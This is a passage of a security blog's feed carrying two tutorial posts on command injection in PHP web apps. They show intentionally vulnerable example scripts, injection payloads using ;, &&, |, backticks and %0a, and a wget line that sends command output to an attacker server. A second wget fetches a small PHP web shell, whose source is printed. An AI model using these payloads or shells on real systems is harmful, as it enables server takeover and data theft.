&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzGYeHusFXrtOCGUycH20WeiFp4yD1XJ-FYeztse2W3zTR5gwk7P9VcTMu2vyuLGhYfumt82GpDyq1yoPyNFekqMJyx2dnlIpcOkdMiFLEC5t51GihWLNVOZrgpZg-jgOQB-PR0kGh2AU/s1600/img5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;25&quot; data-original-width=&quot;600&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzGYeHusFXrtOCGUycH20WeiFp4yD1XJ-FYeztse2W3zTR5gwk7P9VcTMu2vyuLGhYfumt82GpDyq1yoPyNFekqMJyx2dnlIpcOkdMiFLEC5t51GihWLNVOZrgpZg-jgOQB-PR0kGh2AU/s1600/img5.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
At the above regex :&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&#39;^&#39; denotes the start of line&lt;/li&gt;
&lt;li&gt;d{1,3} denotes the data should be decimal numbers between 1 to 3 digits in length&lt;/li&gt;
&lt;li&gt;&#39;.&#39; represents dot character&lt;/li&gt;
&lt;li&gt;&#39;$&#39; sign at last represents the end of line&lt;/li&gt;
&lt;li&gt;and &#39;\&#39; used in the whole regex are nothing but escape character which is used within regex.&lt;/li&gt;
&lt;/ul&gt;
The above regex only allow inputs within the form of IP address like : 127.0.0.1, 192.168.150.100 etc. But also note that there is &#39;m&#39; character at end of the regex expression, which is nothing but multi-line modifier. In php Regex modifiers change how the regex engine applies the pattern to the given input string, and at here the multiline modifier basically changes the way the beginning (^) and end ($) of line characters behave. When the multiline modifier is absent, the ^ and $ characters act as the beginning and end of the string. the multiline modifier &quot;m&quot;&amp;nbsp; effect on the &#39;$&#39; character and with a line break we are able to create a match and inject our payload. Now at here we can use some illegal characters like &quot;%0a&quot; to break line and after that put our payload. Example :&lt;br /&gt;
&lt;div&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/example2.php?ip=127.0.0.1%0als&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUqeidITmhCnT8Icss2HxELfImCivZo_-J1hRuJbInLXU3hsiE1hJjaba4Yo8GsGMvI4inWQns8DiW4CB5xaDNytv_1PK9fa7WkxpwVWgAeJwqE9d6VkGPAfa8msygOJe71X2fUBQ-tDY/s1600/img6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;397&quot; data-original-width=&quot;572&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUqeidITmhCnT8Icss2HxELfImCivZo_-J1hRuJbInLXU3hsiE1hJjaba4Yo8GsGMvI4inWQns8DiW4CB5xaDNytv_1PK9fa7WkxpwVWgAeJwqE9d6VkGPAfa8msygOJe71X2fUBQ-tDY/s1600/img6.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And it works. Example2 is generic command injection.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Example3 :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Example3 has similar regular expression like example2.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxa3iicGB8AMSoU7j4SupUUpOjrpaMg0LzNnhH4R3RTvoIouR0JFgxaS6pYnvprllgF-xhpU9gVs6W-vjzW_jtOOm9J7_m613tTlizL202u1SweMkkL9Zp6PvBhyphenhyphen35RYWseQhvOhAZvTs/s1600/img7.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;98&quot; data-original-width=&quot;691&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxa3iicGB8AMSoU7j4SupUUpOjrpaMg0LzNnhH4R3RTvoIouR0JFgxaS6pYnvprllgF-xhpU9gVs6W-vjzW_jtOOm9J7_m613tTlizL202u1SweMkkL9Zp6PvBhyphenhyphen35RYWseQhvOhAZvTs/s1600/img7.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
But there are small difference, in example3 the multi-line modifier is not used. Means that we can not use line break method here.&lt;br /&gt;
&lt;br /&gt;
In this situation we can use back-ticks `&lt;b&gt;&lt;i&gt;command&lt;/i&gt;&lt;/b&gt;` with the input. Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/example3.php?ip=127.0.0.1 `commnd_to_run`&lt;/code&gt;&lt;/pre&gt;
When the above input get parsed, everything between back-ticks is executed first. At above example, the command between back-ticks are executed first, after that the whole input is parsed. This is known as command substitution. Since execution of the command between back-ticks takes precedence, it doesn’t matter if the command executed afterwards fails.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/example3.php?ip=127.0.0.1 `sleep 10`&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWmByk80lhu4knERpsKvCrcS_o9zZxMjelRv7JpdtsmdLcfoFvrtOlj8HOa6XZx2zMUbmJGUS7irYK_V3vOE7j_fkJ-8PCct8yW6mfbclyOCP50Z5r9z_Dng_Ihrh8lbsvVGgof6gIim4/s1600/img8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;356&quot; data-original-width=&quot;638&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWmByk80lhu4knERpsKvCrcS_o9zZxMjelRv7JpdtsmdLcfoFvrtOlj8HOa6XZx2zMUbmJGUS7irYK_V3vOE7j_fkJ-8PCct8yW6mfbclyOCP50Z5r9z_Dng_Ihrh8lbsvVGgof6gIim4/s1600/img8.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
And the command injection works. Since it is blind command injection, to extract data from the server we use below payload to send command output to our server.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/example3.php?ip=127.0.0.1 `wget http://attackerServer:Port/$(id)`&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs42qIwbMp98OOoKmlSHUxsG7gQy_PN8oyraUYkJ9_FwhF_j4bUBvjWYZNaZJaONZJqRH57qT7e3BEAB4QeDJD8MzNKSPMpDGh8VSbbKeHeCCKDUJvdH-6x2s46dtVv3YMyUj4KYpWUd4/s1600/img9.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;110&quot; data-original-width=&quot;701&quot; height=&quot;100&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhs42qIwbMp98OOoKmlSHUxsG7gQy_PN8oyraUYkJ9_FwhF_j4bUBvjWYZNaZJaONZJqRH57qT7e3BEAB4QeDJD8MzNKSPMpDGh8VSbbKeHeCCKDUJvdH-6x2s46dtVv3YMyUj4KYpWUd4/s640/img9.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
I am using a simple python server on port 8080.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1cEuzMB1OS7xFAJ12VxTLkV1aHJnSZ7dB3Gs2zLnBGM2TQVrgaefi5IRBEkEuo79qlNvP4NzjCx1QA2jZZPwBtmBg1Ejy72UWLgLNchfrW_emVkIgjWCsQMA_qmVgsb6vRg1_x06_hs0/s1600/img10.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;99&quot; data-original-width=&quot;726&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1cEuzMB1OS7xFAJ12VxTLkV1aHJnSZ7dB3Gs2zLnBGM2TQVrgaefi5IRBEkEuo79qlNvP4NzjCx1QA2jZZPwBtmBg1Ejy72UWLgLNchfrW_emVkIgjWCsQMA_qmVgsb6vRg1_x06_hs0/s1600/img10.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
and it also works.&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;&lt;b&gt;Uploading web shell on vulnerable server :&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
We are going to use a very simple php shell.&lt;br /&gt;
&lt;br /&gt;
Filename : &lt;b&gt;shell.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  $cmd = $_GET[&#39;cmd&#39;];
  system($cmd);
?&amp;gt;&lt;/pre&gt;
Payload :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/example3.php?ip=127.0.0.1 `wget http://attackerServer/shell.php`&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbV1heBkrmxmzaaEjTOoUHR46WUNXl1ZqEHCfgwB4QuuLUUx6izFs8hMFEHqNFnvzm2wvHvrGxmWSD6ns67d2gzKwgla3w9hysQy68T4JWn1mHgXx-wvq-4kH8DL7eBW4u3QQYPtItUio/s1600/img11.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;75&quot; data-original-width=&quot;681&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbV1heBkrmxmzaaEjTOoUHR46WUNXl1ZqEHCfgwB4QuuLUUx6izFs8hMFEHqNFnvzm2wvHvrGxmWSD6ns67d2gzKwgla3w9hysQy68T4JWn1mHgXx-wvq-4kH8DL7eBW4u3QQYPtItUio/s1600/img11.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
On our file server, there is a file request from vulnerable server&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyLktt9364ytNLaAr7-pogOMoGjjLJi2Zvuo6dWp_K2CnAQauKJvi-BdXlvKhWeeKT35v0dU5Gw783_-8DnzE-ZCSgAV6w_duEwlBLvyrkXstyj_UPHOebMI4gckqN4u6PVNUqpDwKPgE/s1600/img12.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;62&quot; data-original-width=&quot;653&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyLktt9364ytNLaAr7-pogOMoGjjLJi2Zvuo6dWp_K2CnAQauKJvi-BdXlvKhWeeKT35v0dU5Gw783_-8DnzE-ZCSgAV6w_duEwlBLvyrkXstyj_UPHOebMI4gckqN4u6PVNUqpDwKPgE/s1600/img12.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Now executing command on target server.&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /commandexec/shell.php?cmd=command_name&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxVdboHOn4ZsO56zPi7B0pNW1SGQ6Mk2qx-kalEDyYzClEvIxgyZ5wgut-OqsBVLZYFgFK9E8ae0w3c39I_im1L-2Cz11RJiaTpmA5Q2Q5uP8z4te7b_mT8QgRvmCnFzAtErzhBmEF8XA/s1600/img13.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;89&quot; data-original-width=&quot;611&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxVdboHOn4ZsO56zPi7B0pNW1SGQ6Mk2qx-kalEDyYzClEvIxgyZ5wgut-OqsBVLZYFgFK9E8ae0w3c39I_im1L-2Cz11RJiaTpmA5Q2Q5uP8z4te7b_mT8QgRvmCnFzAtErzhBmEF8XA/s1600/img13.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;Conclusion :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
In this post we look at some techniques to bypass security checks in command injection vulnerability. Visit the link for more tutorials about Web Security :&amp;nbsp;&amp;nbsp;&lt;b&gt;&lt;a href=&quot;http://www.sec-art.net/p/web-security.html&quot;&gt;http://www.sec-art.net/p/web-security.html&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://sec-articles.blogspot.com/2019/01/command-injection-vulnerability-in-web_28.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWxsP37zqWmiJN7k9ixEDBSxJPE_oaAzwjzfCaFR_AYxyDKyYbE4-7o7c6enX1pMKMT0brCiSIL46lnvp_ZYQyEE8PyT8PqP0BNww0PRnn5726tjDGOEiYyFqgPzsJi9D-KB2VRwVOCQ/s72-c/inject.jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8241002864620236041.post-4046768413222012025</guid><pubDate>Mon, 28 Jan 2019 16:38:00 +0000</pubDate><atom:updated>2019-01-28T09:11:51.126-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Exploitation</category><category domain="http://www.blogger.com/atom/ns#">info-Sec</category><category domain="http://www.blogger.com/atom/ns#">Pentesting</category><category domain="http://www.blogger.com/atom/ns#">Web-Exploitation</category><category domain="http://www.blogger.com/atom/ns#">Web-Hacking</category><title>Command Injection vulnerability in Web Applications : Part 1 | Introduction</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWxsP37zqWmiJN7k9ixEDBSxJPE_oaAzwjzfCaFR_AYxyDKyYbE4-7o7c6enX1pMKMT0brCiSIL46lnvp_ZYQyEE8PyT8PqP0BNww0PRnn5726tjDGOEiYyFqgPzsJi9D-KB2VRwVOCQ/s1600/inject.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;181&quot; data-original-width=&quot;331&quot; height=&quot;174&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcWxsP37zqWmiJN7k9ixEDBSxJPE_oaAzwjzfCaFR_AYxyDKyYbE4-7o7c6enX1pMKMT0brCiSIL46lnvp_ZYQyEE8PyT8PqP0BNww0PRnn5726tjDGOEiYyFqgPzsJi9D-KB2VRwVOCQ/s320/inject.jpg&quot; style=&quot;display: none;&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
The Command Injection Vulnerability allows an attacker to execute system level command on the vulnerable web server. This vulnerability occurs when an application passes unsafe user-supplied data (for example from get-post parameters, cookies, HTTP-headers etc ) without any sanitization or proper security checks to shell command execution functions like system(), shell_exec() etc. And these function will execute user/Attacker supplied data/command.&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;br /&gt;
This vulnerability could lead to various consequences, for example complete takeover of server, stealing sensitive data, launching Denial of service attacks etc. Now lets see an example of command injection vulnerability.&lt;br /&gt;
&lt;br /&gt;
Filename : &lt;b&gt;test.php&lt;/b&gt;&lt;br /&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  if(empty($_GET[&#39;file&#39;])) {
    echo &quot;Please give the file name !!&quot;; 
    die();
  }
  $file = $_GET[&#39;file&#39;];
  system(&quot;wc -c $file&quot;);
  echo &quot; Bytes&quot;;
?&amp;gt;&lt;/pre&gt;
The above php code will prints the size in bytes of given file name, Note that there are &lt;b&gt;system()&lt;/b&gt; function is used to execute system command, and there are a file named data.txt on the web server.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Output :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkPaRXc5abild4f2Ny0jjEl5hLOB_AW6AnehXVdOGZtqPcY7Vnl5yIrKInQfO41p5DJ2Ramn-gD9t1q-y42wR_R6yDz_TU54Uyhp7fqALzMYjHK5ORl0WPMtVMfqS6Q_3VFviy-XbkMkI/s1600/img1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;101&quot; data-original-width=&quot;349&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjkPaRXc5abild4f2Ny0jjEl5hLOB_AW6AnehXVdOGZtqPcY7Vnl5yIrKInQfO41p5DJ2Ramn-gD9t1q-y42wR_R6yDz_TU54Uyhp7fqALzMYjHK5ORl0WPMtVMfqS6Q_3VFviy-XbkMkI/s1600/img1.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwzXJlwTKPmkFvLZqEqu5cOrgQNKt_eTagWqQjuJGrC9iQxeu77IgKqTtqXPLh_vvpnoZUZHCLuOjjCMKhIySha59qAzm-dy4jsnfc_fIOv-86fsa_k1PJSIVLrN4FGp6YG-Sv3dRXh1w/s1600/img2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;96&quot; data-original-width=&quot;397&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwzXJlwTKPmkFvLZqEqu5cOrgQNKt_eTagWqQjuJGrC9iQxeu77IgKqTtqXPLh_vvpnoZUZHCLuOjjCMKhIySha59qAzm-dy4jsnfc_fIOv-86fsa_k1PJSIVLrN4FGp6YG-Sv3dRXh1w/s1600/img2.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
It prints the file size as expected. But at here an attacker could also gives other shell command with the parameter &#39;file&#39;, and due to absence of any kind of security checks on user supplied data, the system() function will execute it. For example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?file=data.txt;ls&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgafiAVudiguW2lNOg-9WPTCly4DUzspt2UGQW8WsVj8nDFQ32HQIFNnRjpk4zd6WpY72qcSeAn5R8Vvuh0l0MFsRRyJZxWvo6ps-TT7DSFBf3Sq3WiN2vAWF2N9S4hOVsgrV5EEAiW_oo/s1600/img3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;122&quot; data-original-width=&quot;415&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgafiAVudiguW2lNOg-9WPTCly4DUzspt2UGQW8WsVj8nDFQ32HQIFNnRjpk4zd6WpY72qcSeAn5R8Vvuh0l0MFsRRyJZxWvo6ps-TT7DSFBf3Sq3WiN2vAWF2N9S4hOVsgrV5EEAiW_oo/s1600/img3.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
At above, the data supplied with &#39;file&#39; parameter are : &quot;&lt;b&gt;data.txt;ls&lt;/b&gt;&quot;, where ls is list command and &#39;;&#39; (semicolon) is used to indicate end of line, which indicates that there&#39;s another separate command after this. Another example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?file=data.txt;uname -a&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS_jqkWQOaL7MI7pMo46t1g2kZVBLy8DoTHBMR_d2aQkZ4vWw2PQqHC-RzIq7dgzZYs9lBdw2rTzrWQ_xZAwdwAv7ZgDiNHVIJhg7-7BSWj1UOy5lpti0cvLr71kYQZhrYfxL2qwbrc7c/s1600/img4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;141&quot; data-original-width=&quot;589&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS_jqkWQOaL7MI7pMo46t1g2kZVBLy8DoTHBMR_d2aQkZ4vWw2PQqHC-RzIq7dgzZYs9lBdw2rTzrWQ_xZAwdwAv7ZgDiNHVIJhg7-7BSWj1UOy5lpti0cvLr71kYQZhrYfxL2qwbrc7c/s1600/img4.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
We can also use some other methods like :&lt;br /&gt;
&lt;br /&gt;
&#39;&lt;b&gt;&amp;amp;&amp;amp;&lt;/b&gt;&#39; sign :&amp;nbsp; If first command will succeeds then second command run. Example&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?file=data.txt &amp;amp;&amp;amp; uname&lt;/code&gt;&lt;/pre&gt;
&#39;&lt;b&gt;|&lt;/b&gt;&#39; sign :&amp;nbsp; &amp;nbsp;Redirects the output of first command to second one. Example&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?file=data.txt | uname&lt;/code&gt;&lt;/pre&gt;
&#39;&lt;b&gt;||&lt;/b&gt;&#39; sign : Only if first command will fail then second command will run. Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?file=filenotexists || uname&lt;/code&gt;&lt;/pre&gt;
using of &#39;&lt;b&gt;`&lt;/b&gt;&#39; (backtic) sign : The backtic sign can be used to execute command. Example :&lt;br /&gt;
&lt;pre style=&quot;background: #d6d7da; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 14px; height: auto; line-height: 18px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: #black; word-wrap: normal;&quot;&gt; /test.php?file=data.txt `uname`&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: #0b5394; font-size: x-large;&quot;&gt;Types of Command Injection :&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1. Generic Command injection :&lt;/b&gt; The output of executed command will return as response. The example above we have seen is generic command injection type.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. Blind Command Injection :&lt;/b&gt; The output of executed command does not returns in response. Now lets see another example to understand Blind Command injection.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Filename : bci.php&lt;/div&gt;
&lt;div&gt;
&lt;pre class=&quot;brush: php&quot;&gt;&amp;lt;?php
  if(empty($_GET[&#39;file&#39;])) {
    echo &quot;Please give the file name !!&quot;; 
    die();
  }
  $file = $_GET[&#39;file&#39;];
  shell_exec(&quot;rm $file&quot;);
  echo &quot;$file is removed.&quot;;
?&amp;gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
The above php code will delete the user supplied file name from the web directory. Also note that, shell_exec() function is used instead of system(), and shell_exec() does not return any output to the response page. Now lets run the above example :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ8KR85_OZykyihQYqmALzPI4lXNxyKGB86xkziJBTD_OgEM6ttt1zbic1WGT8-jndkoYrnIbIhVHuNF5eumtA2QjuF9OoCy5xKcmza8zQo-aAl4Vwjf-VbNz2lbYB2T08NGLAOmtL_2o/s1600/img5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;111&quot; data-original-width=&quot;411&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgZ8KR85_OZykyihQYqmALzPI4lXNxyKGB86xkziJBTD_OgEM6ttt1zbic1WGT8-jndkoYrnIbIhVHuNF5eumtA2QjuF9OoCy5xKcmza8zQo-aAl4Vwjf-VbNz2lbYB2T08NGLAOmtL_2o/s1600/img5.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
and when we put shell command on the parameter, then it does not show anything related to &#39;ls&#39; command.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
